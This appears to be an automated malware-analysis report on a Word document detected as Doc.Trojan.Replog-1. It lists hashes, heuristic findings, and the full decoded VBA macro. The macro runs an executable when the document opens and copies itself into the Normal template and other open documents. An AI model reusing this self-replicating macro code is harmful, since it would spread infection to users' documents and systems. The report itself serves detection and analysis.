Office (OLE) malware analysis — malicious · 4e724eb2dfb55752

MALICIOUS

Office (OLE)

45.5 KB Created: 2010-10-26 00:43:00 Authoring application: Microsoft Word 11.6.0 First seen: 2012-07-12

MD5: 655e40c3a372e55185673ad68bf0fb64 SHA-1: 0970e8f17b732a4480aba326b587cb6037eca863 SHA-256: 4e724eb2dfb557521cfd578b1ead4a91a0bf4ed39d9db13e74b00e9ad935c58e

268 Risk Score

Heuristics 5

ClamAV: Doc.Trojan.Replog-1 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Trojan.Replog-1
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code

Potential Shell call in VBA critical OLE_VBA_SHELL

Potential Shell call in VBA

Matched line in script

On Error Resume Next
Shell "I:\Eudora\Sys\Server.exe"
Set TD = ThisDocument.VBProject.VBComponents(1)

VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION

VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
Matched line in script
```
VCode = TD.CodeModule.Lines(1, TD.CodeModule.CountOfLines)
NT.CodeModule.DeleteLines 1, NT.CodeModule.CountOfLines
AD.CodeModule.DeleteLines 1, AD.CodeModule.CountOfLines
```
Document_Open macro low OLE_VBA_DOCOPEN

Document_Open macro
Matched line in script
```
Private Sub Document_Open()
On Error Resume Next
```

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	834 bytes
SHA-256: `5b65961cce31dcaec1bad414d2555d2ad3cc8e4d7da7280e5a5cc3b1d567ed3e`
Detection ClamAV: Doc.Trojan.Replog-1 Obfuscation or payload: unlikely
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Sub Document_Open() On Error Resume Next Shell "I:\Eudora\Sys\Server.exe" Set TD = ThisDocument.VBProject.VBComponents(1) Set AD = ActiveDocument.VBProject.VBComponents(1) Set NT = NormalTemplate.VBProject.VBComponents(1) VCode = TD.CodeModule.Lines(1, TD.CodeModule.CountOfLines) NT.CodeModule.DeleteLines 1, NT.CodeModule.CountOfLines AD.CodeModule.DeleteLines 1, AD.CodeModule.CountOfLines NT.CodeModule.InsertLines 1, VCode AD.CodeModule.InsertLines 1, VCode ActiveDocument.Save NormalTemplate.Save Open "I:\Rep.log" For Append As #1 Print #1, "Active on " & Date Close End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.